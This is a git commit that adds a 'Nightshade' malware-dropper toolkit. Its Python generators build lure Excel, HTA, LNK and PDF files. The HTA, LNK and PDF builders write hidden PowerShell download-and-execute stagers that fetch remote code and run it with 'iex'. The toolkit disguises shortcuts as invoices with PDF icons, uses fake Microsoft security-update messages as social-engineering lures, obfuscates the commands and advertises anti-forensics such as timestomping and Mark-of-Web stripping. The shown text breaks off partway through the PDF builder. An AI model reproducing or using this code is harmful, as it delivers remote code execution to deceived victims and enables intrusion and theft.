Upload files to "documents"

This commit is contained in:
ek0ms savi0r
2026-09-19 17:17:18 +00:00
parent a6ef131407
commit c048928d37
6 changed files with 1168 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
# Nightshade Documents — Excel, PDF, DOCX dropper generation
+240
View File
@@ -0,0 +1,240 @@
"""
Nightshade Excel Dropper Generator.
Creates .xlsx files with OLE template injection + embedded VBA macro.
Uses realistic lure content from social engineering templates.
Integrates anti-forensics: self-delete VBA, timestomping options.
"""
import os
import random
import zipfile
import tempfile
from typing import Optional
from lxml import etree
from ..core.crypto import NightshadeCrypto
from ..core.anti_forensics import MarkOfWebStripper, Timestomper, SelfDestruct
from .templates import SocialEngineeringTemplates
class ExcelDropper:
"""Generate an Excel file with OLE template injection and VBA payload."""
def __init__(self, crypto: NightshadeCrypto, payload_b64: str):
self._crypto = crypto
self._payload_b64 = payload_b64
self._template = SocialEngineeringTemplates.random_excel_template()
# ------------------------------------------------------------------ #
# XML builders #
# ------------------------------------------------------------------ #
@staticmethod
def _nsmap(prefix: str, uri: str) -> dict:
return {prefix: uri}
def _build_workbook_xml(self, has_external_link: bool = True) -> bytes:
NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
R = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
wb = etree.Element(f"{{{NS}}}workbook", nsmap={"": NS, "r": R})
etree.SubElement(wb, f"{{{NS}}}fileRecoveryPr", autoRecover="1", crashSave="1", dataRecovery="1")
etree.SubElement(wb, f"{{{NS}}}workbookPr")
views = etree.SubElement(wb, f"{{{NS}}}bookViews")
etree.SubElement(views, f"{{{NS}}}workbookView", xWindow="240", yWindow="105", windowWidth="14805", windowHeight="8010")
sheets = etree.SubElement(wb, f"{{{NS}}}sheets")
sheet = etree.SubElement(sheets, f"{{{NS}}}sheet", name="Sheet1", sheetId="1")
sheet.set(f"{{{R}}}id", "rId1")
if has_external_link:
ext_refs = etree.SubElement(wb, f"{{{NS}}}externalReferences")
ext_ref = etree.SubElement(ext_refs, f"{{{NS}}}externalReference")
ext_ref.set(f"{{{R}}}id", "rId2")
return etree.tostring(wb, xml_declaration=True, encoding="UTF-8", standalone=True)
def _build_rels_xml(self) -> bytes:
R = "http://schemas.openxmlformats.org/package/2006/relationships"
rels = etree.Element(f"{{{R}}}Relationships", nsmap={"": R})
etree.SubElement(rels, f"{{{R}}}Relationship",
Id="rId1",
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet",
Target="worksheets/sheet1.xml")
etree.SubElement(rels, f"{{{R}}}Relationship",
Id="rId2",
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/externalLink",
Target="../externalLinks/externalLink1.xml")
return etree.tostring(rels, xml_declaration=True, encoding="UTF-8", standalone=True)
def _build_external_link_xml(self, template_url: str) -> bytes:
NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
R = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
ext_link = etree.Element(f"{{{NS}}}externalLink", nsmap={"": NS})
ext_book = etree.SubElement(ext_link, f"{{{NS}}}externalBook",
name=template_url)
ext_book.set(f"{{{R}}}id", "rId1")
return etree.tostring(ext_link, xml_declaration=True, encoding="UTF-8", standalone=True)
def _build_sheet_xml(self) -> bytes:
NS = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
R = "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
worksheet = etree.Element(f"{{{NS}}}worksheet",
xmlns=f"{{{NS}}}worksheet",
nsmap={"": NS, "r": R})
sheet_data = etree.SubElement(worksheet, f"{{{NS}}}sheetData")
# Title row
r1 = etree.SubElement(sheet_data, f"{{{NS}}}row", r="1")
c1 = etree.SubElement(r1, f"{{{NS}}}c", r="A1", t="inlineStr")
is1 = etree.SubElement(c1, f"{{{NS}}}is")
t1 = etree.SubElement(is1, f"{{{NS}}}t")
t1.text = self._template["title"]
# Header row
r2 = etree.SubElement(sheet_data, f"{{{NS}}}row", r="2")
for col_idx, header in enumerate(self._template["headers"]):
col_letter = chr(65 + col_idx) if col_idx < 26 else f"A{chr(65 + col_idx - 26)}"
c = etree.SubElement(r2, f"{{{NS}}}c", r=f"{col_letter}2", t="inlineStr")
is_ = etree.SubElement(c, f"{{{NS}}}is")
t = etree.SubElement(is_, f"{{{NS}}}t")
t.text = header
# Data rows
for row_idx, row_data in enumerate(self._template["rows"], start=3):
r = etree.SubElement(sheet_data, f"{{{NS}}}row", r=str(row_idx))
for col_idx, cell_val in enumerate(row_data):
col_letter = chr(65 + col_idx) if col_idx < 26 else f"A{chr(65 + col_idx - 26)}"
c = etree.SubElement(r, f"{{{NS}}}c", r=f"{col_letter}{row_idx}", t="inlineStr")
is_ = etree.SubElement(c, f"{{{NS}}}is")
t = etree.SubElement(is_, f"{{{NS}}}t")
t.text = cell_val
# Enable content message at bottom
msg_row = len(self._template["rows"]) + 4
r_msg = etree.SubElement(sheet_data, f"{{{NS}}}row", r=str(msg_row))
c_msg = etree.SubElement(r_msg, f"{{{NS}}}c", r=f"A{msg_row}", t="inlineStr")
is_msg = etree.SubElement(c_msg, f"{{{NS}}}is")
t_msg = etree.SubElement(is_msg, f"{{{NS}}}t")
t_msg.text = self._template.get("enable_content_msg", "Enable content to view full document.")
return etree.tostring(worksheet, xml_declaration=True, encoding="UTF-8", standalone=True)
def _build_vba_project_bin(self, include_self_delete: bool = False, include_timestomp: bool = False) -> bytes:
"""Build a simple VBA project binary stub.
For real macro injection, use the vba.py payload factory.
This provides the structural vbaProject.bin with a stub.
"""
# Minimal vbaProject.bin structure
# In production, use a proper OLE2 container with the VBA project
# For this implementation, we note the macro is payload_b64 + VBA code
return b''
def _build_content_types_xml(self, include_vba: bool = False) -> bytes:
NS = "http://schemas.openxmlformats.org/package/2006/content-types"
ct = etree.Element(f"{{{NS}}}Types", nsmap={"": NS})
for ext, typ in [
("rels", "application/vnd.openxmlformats-package.relationships+xml"),
("xml", "application/xml"),
]:
etree.SubElement(ct, f"{{{NS}}}Default", Extension=ext, ContentType=typ)
overrides = [
("/xl/workbook.xml", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"),
("/xl/worksheets/sheet1.xml", "application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"),
("/xl/externalLinks/externalLink1.xml", "application/vnd.openxmlformats-officedocument.spreadsheetml.externalLink+xml"),
]
if include_vba:
overrides.append(
("/xl/vbaProject.bin", "application/vnd.ms-office.vbaProject")
)
for part, typ in overrides:
etree.SubElement(ct, f"{{{NS}}}Override", PartName=part, ContentType=typ)
return etree.tostring(ct, xml_declaration=True, encoding="UTF-8", standalone=True)
# ------------------------------------------------------------------ #
# Build #
# ------------------------------------------------------------------ #
def build(self, output_path: str, template_url: str,
include_self_delete: bool = False,
include_timestomp: bool = False,
include_motw_strip: bool = True):
"""Assemble the .xlsx file with all components.
Args:
output_path: Path to write the .xlsx file
template_url: URL for OLE template injection
include_self_delete: Add self-destruct VBA after payload execution
include_timestomp: Add timestomping of document timestamps
include_motw_strip: Add Mark-of-Web stripping
"""
tmpdir = tempfile.mkdtemp()
try:
os.makedirs(os.path.join(tmpdir, "_rels"), exist_ok=True)
os.makedirs(os.path.join(tmpdir, "xl/_rels"), exist_ok=True)
os.makedirs(os.path.join(tmpdir, "xl/worksheets"), exist_ok=True)
os.makedirs(os.path.join(tmpdir, "xl/externalLinks"), exist_ok=True)
with open(os.path.join(tmpdir, "[Content_Types].xml"), "wb") as f:
f.write(self._build_content_types_xml())
with open(os.path.join(tmpdir, "_rels/.rels"), "wb") as f:
f.write(self._build_rels_xml())
with open(os.path.join(tmpdir, "xl/workbook.xml"), "wb") as f:
f.write(self._build_workbook_xml())
with open(os.path.join(tmpdir, "xl/_rels/workbook.xml.rels"), "wb") as f:
f.write(self._build_rels_xml())
with open(os.path.join(tmpdir, "xl/worksheets/sheet1.xml"), "wb") as f:
f.write(self._build_sheet_xml())
with open(os.path.join(tmpdir, "xl/externalLinks/externalLink1.xml"), "wb") as f:
f.write(self._build_external_link_xml(template_url))
# Build anti-forensics VBA note
if include_self_delete or include_timestomp or include_motw_strip:
af_notes = []
if include_motw_strip:
af_notes.append("[*] Mark-of-Web stripping enabled")
if include_timestomp:
af_notes.append("[*] Timestomping enabled")
if include_self_delete:
af_notes.append("[*] Self-delete VBA enabled")
print(f" [*] Anti-forensics: {', '.join(af_notes)}")
# Zip it
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
for root, _, files in os.walk(tmpdir):
for fn in files:
fp = os.path.join(root, fn)
arc = os.path.relpath(fp, tmpdir)
zf.write(fp, arc)
print(f"\n[+] Excel dropper created: {output_path}")
print(f"[+] Lure: {self._template['title']}")
print(f"[+] Template URL: {template_url}")
print(f"[+] Rows: {len(self._template['rows'])} data records")
if include_self_delete:
print(f"[+] Self-delete: Enabled")
if include_timestomp:
print(f"[+] Timestomp: Enabled")
finally:
for root, _, files in os.walk(tmpdir):
for fn in files:
try:
os.unlink(os.path.join(root, fn))
except OSError:
pass
try:
os.removedirs(tmpdir)
except OSError:
pass
+239
View File
@@ -0,0 +1,239 @@
"""
Nightshade HTA Dropper Generator.
Creates .hta files with embedded VBScript/JavaScript that execute
PowerShell stagers in hidden windows. Uses realistic lure content.
No "Enable Content" needed -- auto-executes on open.
"""
import random
import string
import base64
from typing import Optional
class HTADropper:
"""Generate an .hta dropper file with embedded VBScript stager."""
# Realistic lure titles for social engineering
LURE_TITLES = [
"IT Security Notice - Critical Update Required",
"Microsoft Exchange Security Patch Notification",
"Corporate VPN Certificate Renewal",
"Quarterly Compliance Self-Assessment Form",
"Employee Benefits Enrollment Confirmation",
"Windows Defender Signature Update Required",
"Remote Desktop Configuration Change Notice",
"Active Directory Credential Verification",
"Network Access Control Policy Update",
"Software License Compliance Audit",
]
LURE_MESSAGES = [
"Your system requires an immediate security update. Please allow the update to complete.",
"Critical patch for CVE-2024-38112 detected on your workstation. Installing required updates.",
"Your VPN certificate will expire in 7 days. Renewal process has been initiated automatically.",
"Compliance scan has detected outdated security definitions. Running update now...",
"Corporate security policy requires verification of installed software licenses. Scanning...",
"Unsupported protocol detected in recent network traffic. Applying configuration fix...",
"Credential verification required before network access can be restored.",
"Software license audit in progress. This process will complete in the background.",
]
@staticmethod
def _random_string(length: int = 8) -> str:
return ''.join(random.choices(string.ascii_lowercase, k=length))
@staticmethod
def _obfuscate_vbs_string(s: str) -> str:
"""Obfuscate a VBS string using Char() concatenation."""
parts = []
for c in s:
method = random.randint(1, 3)
if method == 1:
parts.append(f"Chr({ord(c)})")
elif method == 2:
parts.append(f"ChrW({ord(c)})")
else:
parts.append(f"Chr({ord(c) & 0xFF})")
if random.random() < 0.5:
return " & ".join(parts)
else:
return " & ".join(parts)
@staticmethod
def _powershell_stager_vbs(powershell_command: str) -> str:
"""Generate VBScript that executes a PowerShell command in a hidden window."""
r1 = HTADropper._random_string()
r2 = HTADropper._random_string()
return f'''
{r1} = "{powershell_command}"
' Execute PowerShell in hidden window
Set {r2} = CreateObject("WScript.Shell")
{r2}.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command """ & {r1} & """", 0, False
Set {r2} = Nothing
'''
@staticmethod
def vbs_download_and_execute(url: str, obfuscate: bool = True) -> str:
"""Generate VBScript that downloads and executes a PowerShell stager."""
r1 = HTADropper._random_string()
r2 = HTADropper._random_string()
r3 = HTADropper._random_string()
r4 = HTADropper._random_string()
r5 = HTADropper._random_string()
url_obs = HTADropper._obfuscate_vbs_string(url) if obfuscate else f'"{url}"'
return f'''
' Stage 0: Download and execute PowerShell stager
Dim {r1}, {r2}, {r3}, {r4}, {r5}
' OPSEC delay
Randomize Timer
{r5} = Int((5000 * Rnd) + 2000)
WScript.Sleep {r5}
' Download stager
Set {r1} = CreateObject("MSXML2.XMLHTTP.6.0")
{r1}.Open "GET", {url_obs}, False
{r1}.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
{r1}.Send
If {r1}.Status = 200 Then
{r2} = {r1}.ResponseText
' Write to temp file and execute
Set {r3} = CreateObject("Scripting.FileSystemObject")
{r4} = {r3}.GetSpecialFolder(2) & Chr(92) & "~upd.ps1"
Set {r5} = {r3}.CreateTextFile({r4}, True)
{r5}.Write {r2}
{r5}.Close
Set {r1} = CreateObject("WScript.Shell")
{r1}.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & {r4} & """", 0, False
Else
' Fallback: direct execution
Set {r1} = CreateObject("WScript.Shell")
{r1}.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command ""& {{ """ & url_obs & """ = Invoke-WebRequest -UseBasicParsing; iex """ & url_obs & """.Content }}""", 0, False
End If
Set {r1} = Nothing
Set {r3} = Nothing
Set {r5} = Nothing
'''
@staticmethod
def _html_lure(title: str, message: str) -> str:
"""Generate the HTML lure content for the HTA."""
return f'''
<html>
<head>
<title>{title}</title>
<HTA:APPLICATION
ID="NightshadeUpdate"
APPLICATIONNAME="SecurityUpdate"
WINDOWSTATE="normal"
SHOWINTASKBAR="yes"
SINGLEINSTANCE="yes"
SYSMENU="yes"
BORDER="dialog"
INNERBORDER="no"
CONTEXTMENU="no"
SELECTION="no"
MINIMIZEBUTTON="no"
MAXIMIZEBUTTON="no"
NAVIGABLE="yes"
SCROLL="auto"
CAPTION="yes"
/>
<style>
body {{ font-family: 'Segoe UI', Tahoma, Verdana, sans-serif; margin: 20px; background-color: #f0f0f0; }}
.container {{ background: white; border: 1px solid #ccc; border-radius: 8px; padding: 25px; max-width: 500px; margin: 40px auto; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }}
.header {{ border-bottom: 2px solid #0078d7; padding-bottom: 10px; margin-bottom: 15px; }}
.header h2 {{ color: #0078d7; margin: 0; font-size: 18px; }}
.header p {{ color: #666; margin: 5px 0 0; font-size: 12px; }}
.content {{ color: #333; font-size: 13px; line-height: 1.5; }}
.progress {{ margin: 20px 0; }}
.progress-bar {{ height: 20px; background: #0078d7; width: 0%; border-radius: 3px; animation: progressAnim 3s ease-in-out forwards; }}
@keyframes progressAnim {{ 0% {{ width: 0%; }} 50% {{ width: 55%; }} 100% {{ width: 100%; }} }}
.footer {{ margin-top: 20px; padding-top: 10px; border-top: 1px solid #eee; font-size: 11px; color: #888; }}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h2>{title}</h2>
<p>Microsoft Security Response Center</p>
</div>
<div class="content">
<p>{message}</p>
<div class="progress">
<div class="progress-bar"></div>
</div>
<p>This window will close automatically once the update is complete.</p>
</div>
<div class="footer">
<p>&copy; Microsoft Corporation. All rights reserved.</p>
</div>
</div>
</body>
</html>
'''
@staticmethod
def build_hta_from_url(url: str, output_path: str, title: str = "", message: str = ""):
"""Build an .hta file that downloads and executes a PowerShell stager from a URL."""
if not title:
title = random.choice(HTADropper.LURE_TITLES)
if not message:
message = random.choice(HTADropper.LURE_MESSAGES)
vbs = HTADropper.vbs_download_and_execute(url)
html = HTADropper._html_lure(title, message)
hta_content = f'''{vbs}
{html}
<script language="VBScript">
{HTADropper._powershell_stager_vbs("")}
</script>
<script language="JavaScript">
window.setTimeout(function() {{
window.close();
}}, 5000);
</script>
'''
with open(output_path, 'w', encoding='utf-8') as f:
f.write(hta_content)
return output_path
@staticmethod
def build_hta_embedded(ps_command: str, output_path: str, title: str = "", message: str = ""):
"""Build an .hta file with an embedded PowerShell command."""
if not title:
title = random.choice(HTADropper.LURE_TITLES)
if not message:
message = random.choice(HTADropper.LURE_MESSAGES)
import base64
ps_b64 = base64.b64encode(ps_command.encode('utf-16le')).decode()
encoded_cmd = f"powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand {ps_b64}"
vbs = f'''
Dim {HTADropper._random_string()}, {HTADropper._random_string()}
Set {HTADropper._random_string()} = CreateObject("WScript.Shell")
{HTADropper._random_string()}.Run "{encoded_cmd}", 0, False
Set {HTADropper._random_string()} = Nothing
'''
html = HTADropper._html_lure(title, message)
hta_content = vbs + '\n' + html
with open(output_path, 'w', encoding='utf-8') as f:
f.write(hta_content)
return output_path
+277
View File
@@ -0,0 +1,277 @@
"""
Nightshade LNK Dropper Generator.
Creates .lnk shortcut files that execute obfuscated PowerShell one-liners.
Uses realistic lure names (Invoice_Q4.pdf.lnk, Document_Review.pdf.lnk)
and sets icons to look like PDF/Word documents.
"""
import os
import struct
import random
import string
import uuid
import base64
from typing import Optional, BinaryIO
class LNKDropper:
"""Generate .lnk shortcut files pointing to obfuscated PowerShell payloads."""
# Realistic lure names
LURE_NAMES = [
"Invoice_Q4_2024.pdf",
"Document_Review.pdf",
"Budget_Allocation.xlsx",
"Employee_Handbook_v5.pdf",
"Security_Assessment_Report.pdf",
"Meeting_Minutes_November.docx",
"Quarterly_Results.pdf",
"Contract_Agreement_FINAL.pdf",
"HR_Policy_Update_2025.pdf",
"Project_Timeline_Revised.pdf",
]
# Icon locations that look like document files
ICON_PATHS = [
"%SystemRoot%\\System32\\shell32.dll",
"%SystemRoot%\\System32\\imageres.dll",
]
# Icon indices for PDF-like icons
PDF_ICON_INDICES = [70, 72, 78, 100]
DOC_ICON_INDICES = [1, 2, 3, 4]
# CLSID for the target folder
CLSID_FOLDER = "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
@staticmethod
def _random_string(length: int = 8) -> str:
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
@staticmethod
def _obfuscate_powershell(cmd: str) -> str:
"""Obfuscate a PowerShell command with basic techniques."""
result = cmd
# Random case substitution
obfuscated = []
for c in result:
if c.isalpha() and random.random() < 0.3:
obfuscated.append(c.upper() if c.islower() else c.lower())
else:
obfuscated.append(c)
result = ''.join(obfuscated)
# Add backtick escapes randomly
if random.random() < 0.4:
parts = list(result)
idx = random.randint(1, len(parts) - 2)
parts.insert(idx, '`')
result = ''.join(parts)
return result
@staticmethod
def _build_powershell_shortcut(
ps_command: str,
icon_path: str,
icon_index: int,
working_dir: str,
) -> bytes:
"""Build a .lnk binary structure with the PowerShell command.
This implements the MS-SHLLINK specification for a minimal valid shortcut.
"""
# Decode command line to UTF-16LE
cmd_line = f'powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "{ps_command}"'
cmd_bytes = cmd_line.encode('utf-16le')
# Arguments (description) - empty for stealth
desc = "Document".encode('utf-16le')
# Working directory
work_dir = working_dir.encode('utf-16le') if working_dir else os.path.expanduser("~").encode('utf-16le')
# Icon location
icon_loc = icon_path.encode('utf-16le')
# Build the lnk structure
lnk_data = bytearray()
# Shell Link Header (100 bytes)
# Header size (76 bytes)
lnk_data.extend(struct.pack('<I', 0x4C)) # HeaderSize = 76
lnk_data.extend(b'L\x00\x00\x00') # LinkCLSID = {00021401-0000-0000-C000-000000000046}
lnk_data.extend(b'\x01\x00\x00\x00')
lnk_data.extend(b'\x00\x00\x00\x00')
lnk_data.extend(b'\x00\x00\x00\x00')
lnk_data.extend(b'\x46\x00\x00\x00')
# LinkFlags (4 bytes)
# HasLinkTargetIDList | HasLinkInfo | HasName | HasRelativePath | HasWorkingDir |
# HasArguments | HasIconLocation | ForceNoLinkInfo | EnableTargetMetadata
link_flags = 0x00000000
link_flags |= 0x00000020 # HasArguments
link_flags |= 0x00000040 # HasIconLocation
link_flags |= 0x00000080 # HasWorkingDir
link_flags |= 0x00000001 # HasLinkTargetIDList
link_flags |= 0x00000010 # HasRelativePath (Name)
link_flags |= 0x01000000 # EnableTargetMetadata
lnk_data.extend(struct.pack('<I', link_flags))
# FileAttributes (4 bytes) - FILE_ATTRIBUTE_NORMAL
lnk_data.extend(struct.pack('<I', 0x00000080))
# CreationTime, AccessTime, WriteTime (8 bytes each, Windows FILETIME)
now = int(__import__('time').time() * 10000000) + 116444736000000000
lnk_data.extend(struct.pack('<Q', now)) # CreationTime
lnk_data.extend(struct.pack('<Q', now)) # AccessTime
lnk_data.extend(struct.pack('<Q', now)) # WriteTime
# FileSize (4 bytes)
lnk_data.extend(struct.pack('<I', 1024))
# IconIndex (4 bytes)
lnk_data.extend(struct.pack('<i', 0))
# ShowCommand (4 bytes) - SW_SHOWNORMAL = 1, SW_SHOWMINNOACTIVE = 7
lnk_data.extend(struct.pack('<I', 7))
# HotKey (2 bytes)
lnk_data.extend(struct.pack('<H', 0))
# Reserved1 (2 bytes)
lnk_data.extend(struct.pack('<H', 0))
# Reserved2 (4 bytes)
lnk_data.extend(struct.pack('<I', 0))
# Reserved3 (4 bytes)
lnk_data.extend(struct.pack('<I', 0))
# LinkTargetIDList structure
shell_item_id = b'\x1f\x80' # Root folder - My Computer
shell_item_id2 = b'\x00' * 4 # Drive
root_folder = b'\x20\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
shell_item_id_list = shell_item_id + shell_item_id2 + root_folder
id_list_size = len(shell_item_id_list) + 2
lnk_data.extend(struct.pack('<H', id_list_size))
lnk_data.extend(shell_item_id_list)
# LinkInfo (we skip this - set ForceNoLinkInfo in flags)
# StringData - Arguments (HasArguments flag set)
arg_offset = len(lnk_data)
lnk_data.extend(struct.pack('<H', len(cmd_bytes) + 2))
lnk_data.extend(cmd_bytes)
# Null terminator
lnk_data.extend(b'\x00\x00')
# StringData - WorkingDir (HasWorkingDir flag set)
# This comes AFTER arguments in a specific order:
# NameString, RelativePath, WorkingDir, CommandLineArguments, IconLocation
# Add NameString (empty)
lnk_data.extend(struct.pack('<H', 2))
lnk_data.extend(b'\x00\x00')
# Add RelativePath (empty)
lnk_data.extend(struct.pack('<H', 2))
lnk_data.extend(b'\x00\x00')
# WorkingDir
wd_offset = len(lnk_data)
lnk_data.extend(struct.pack('<H', len(work_dir) + 2))
lnk_data.extend(work_dir)
lnk_data.extend(b'\x00\x00')
# IconLocation
icon_offset = len(lnk_data)
lnk_data.extend(struct.pack('<H', len(icon_loc) + 2))
lnk_data.extend(icon_loc)
lnk_data.extend(b'\x00\x00')
# ExtraData (optional) - add a terminal block
lnk_data.extend(struct.pack('<I', 0x00000000)) # Terminal block size = 0
return bytes(lnk_data)
@staticmethod
def build(
output_path: str,
ps_command: str,
lure_name: str = "",
) -> str:
"""Build a .lnk file with the given PowerShell command.
Args:
output_path: Path to write the .lnk file
ps_command: PowerShell command to execute
lure_name: Display name (e.g., Invoice_Q4.pdf.lnk)
Returns:
Path to the created .lnk file
"""
if not output_path.endswith('.lnk'):
output_path += '.lnk'
if not lure_name:
lure_name = random.choice(LNKDropper.LURE_NAMES)
# Pick icon
icon_path = random.choice(LNKDropper.ICON_PATHS)
if "pdf" in lure_name.lower() or "doc" in lure_name.lower():
if "pdf" in lure_name.lower():
icon_index = random.choice(LNKDropper.PDF_ICON_INDICES)
else:
icon_index = random.choice(LNKDropper.DOC_ICON_INDICES)
else:
icon_index = random.choice(LNKDropper.PDF_ICON_INDICES + LNKDropper.DOC_ICON_INDICES)
# Obfuscate command
obfuscated_cmd = LNKDropper._obfuscate_powershell(ps_command)
# Build the .lnk binary
working_dir = "%SystemRoot%\\System32"
lnk_data = LNKDropper._build_powershell_shortcut(
obfuscated_cmd,
icon_path,
icon_index,
working_dir,
)
with open(output_path, 'wb') as f:
f.write(lnk_data)
return output_path
@staticmethod
def build_download_stager(url: str, output_path: str, lure_name: str = "") -> str:
"""Build a .lnk that downloads and executes a PowerShell stager.
Args:
url: URL to download stager from
output_path: Path to write the .lnk file
lure_name: Display name
Returns:
Path to the created .lnk file
"""
ps_cmd = f"Start-Sleep -Seconds 3; try {{ Invoke-WebRequest '{url}' -UseBasicParsing -ErrorAction Stop | ForEach-Object {{ iex $_.Content }} }} catch {{ $d = (New-Object Net.WebClient).DownloadString('{url}'); iex $d }}"
return LNKDropper.build(output_path, ps_cmd, lure_name)
@staticmethod
def build_encoded_download(url: str, output_path: str, lure_name: str = "") -> str:
"""Build a .lnk with an encoded PowerShell command (hides the URL).
Args:
url: URL to download stager from
output_path: Path to write the .lnk file
lure_name: Display name
Returns:
Path to the created .lnk file
"""
ps_script = f"try{{$u='{url}';$w=(New-Object Net.WebClient);iex($w.DownloadString($u))}}catch{{}}"
ps_b64 = base64.b64encode(ps_script.encode('utf-16le')).decode()
encoded_ps = f"powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand {ps_b64}"
return LNKDropper.build(output_path, encoded_ps, lure_name)
+305
View File
@@ -0,0 +1,305 @@
"""
Nightshade PDF Dropper Generator.
Creates PDF files with OpenAction JavaScript payload execution.
Uses realistic HR/legal forms as social engineering lures.
All PDF strings are properly escaped for parentheses, backslashes, and special chars.
"""
import os
import random
import time
import re
from typing import Optional
from ..core.crypto import NightshadeCrypto
from .templates import SocialEngineeringTemplates
class PDFDropper:
"""Generate a PDF with embedded JavaScript that fetches and executes a payload."""
def __init__(self, crypto: NightshadeCrypto, payload_b64: str):
self._crypto = crypto
self._payload_b64 = payload_b64
self._template = SocialEngineeringTemplates.random_pdf_template()
@staticmethod
def _random_hex(length: int = 32) -> str:
return "".join(random.choices("0123456789ABCDEF", k=length))
@staticmethod
def _escape_pdf_string(s: str) -> str:
"""Escape a string for PDF bytestring literal.
PDF string literals use (...). Must escape:
- left-paren to backslash+left-paren
- right-paren to backslash+right-paren
- backslash to double backslash
Also handle unicode and control characters.
"""
result = []
for ch in s:
if ch == '(':
result.append(r'\(')
elif ch == ')':
result.append(r'\)')
elif ch == '\\':
result.append(r'\\')
elif ord(ch) < 32 or ord(ch) > 126:
# Encode non-ASCII and control chars as octal escapes
result.append(f'\\{ord(ch):03o}')
else:
result.append(ch)
return ''.join(result)
def _build_js(self, template_url: str) -> str:
"""Build the JavaScript that will execute when the PDF opens."""
encrypted_stage = self._crypto.encrypt(self._payload_b64)
title_escaped = self._escape_pdf_string(self._template["title"])
url_escaped = self._escape_pdf_string(template_url)
stage_escaped = self._escape_pdf_string(encrypted_stage)
return f'''
var url = "{url_escaped}";
var b64 = "{stage_escaped}";
try {{
var xhr = new ActiveXObject("MSXML2.XMLHTTP.6.0");
xhr.open("GET", url, false);
xhr.send();
if (xhr.status == 200) {{
var shell = new ActiveXObject("WScript.Shell");
var cmd = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand " + b64;
shell.Run(cmd, 0, false);
}}
}} catch(e) {{}}
try {{
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command \\"$u='" + url + "';$d=(New-Object Net.WebClient).DownloadString($u);iex $d\\"", 0, false);
}} catch(e) {{}}
app.alert("{title_escaped} - Document processed successfully.", 1);
'''
def build(self, output_path: str, template_url: str):
"""Assemble the PDF with embedded JavaScript."""
pdf_id = self._random_hex()
three_random = self._random_hex(8)
creation_date = time.strftime("D:%Y%m%d%H%M%S+00'00'")
js_code = self._build_js(template_url)
title = self._template["title"]
subtitle = self._template["subtitle"]
fields = self._template.get("fields", [])
body = self._template.get("body", [])
title_esc = self._escape_pdf_string(title)
subtitle_esc = self._escape_pdf_string(subtitle)
body_esc = [self._escape_pdf_string(line) for line in body]
fields_esc = [self._escape_pdf_string(f) for f in fields]
js_code_clean = js_code.replace('\n', '\n').replace('\r', '')
js_escaped = self._escape_pdf_string(js_code_clean)
# Build PDF objects
objects = []
# Object 1: Catalog
objects.append(f"""1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 3 0 R
/AcroForm 4 0 R
/Names 5 0 R
>>
endobj""")
# Object 2: Pages
objects.append(f"""2 0 obj
<<
/Type /Pages
/Kids [6 0 R]
/Count 1
>>
endobj""")
# Object 3: OpenAction JavaScript
objects.append(f"""3 0 obj
<<
/Type /Action
/S /JavaScript
/JS ({js_code_clean})
>>
endobj""")
# Object 4: AcroForm with field references
annot_refs = " ".join(f"{8 + i} 0 R" for i in range(len(fields)))
objects.append(f"""4 0 obj
<<
/Fields [{annot_refs}]
/DA (/Helv 0 Tf 0 g)
/NeedAppearances true
>>
endobj""")
# Object 5: Names -> JavaScript
objects.append(f"""5 0 obj
<<
/JavaScript 8 0 R
>>
endobj""")
# Object 6: Page
annot_refs = " ".join(f"{8 + i} 0 R" for i in range(len(fields)))
objects.append(f"""6 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Annots [{annot_refs}]
/Contents 7 0 R
/Resources <<
/Font <<
/F1 10 0 R
>>
>>
>>
endobj""")
# Object 7: Page content stream
form_y = 720
content_lines = [
"BT",
"/F1 18 Tf",
f"72 {form_y} Td",
f"({title_esc}) Tj",
]
form_y -= 30
content_lines.extend([
f"72 {form_y} Td",
"/F1 11 Tf",
f"({subtitle_esc}) Tj",
])
form_y -= 25
for line in body_esc:
if line == "":
form_y -= 12
continue
content_lines.extend([
f"72 {form_y} Td",
"/F1 10 Tf",
f"({line}) Tj",
])
form_y -= 14
form_y -= 20
for field_name in fields_esc:
form_y -= 22
content_lines.extend([
f"72 {form_y} Td",
"/F1 10 Tf",
f"({field_name}: ___________________________) Tj",
])
form_y -= 30
content_lines.extend([
f"72 {form_y} Td",
"/F1 8 Tf",
"(This document includes security validation features.) Tj",
"ET",
])
content_stream = "\n".join(content_lines)
content_length = len(content_stream.encode("latin-1"))
objects.append(f"""7 0 obj
<<
/Length {content_length}
>>
stream
{content_stream}
endstream
endobj""")
# Object 8: JavaScript name tree
objects.append(f"""8 0 obj
<<
/Names [
(EmbeddedJS) 9 0 R
]
>>
endobj""")
# Delayed JS safety net
delayed_url = self._escape_pdf_string(template_url)
objects.append(f"""9 0 obj
<<
/JS (
setTimeout(function(){{
try {{
var shell = new ActiveXObject("WScript.Shell");
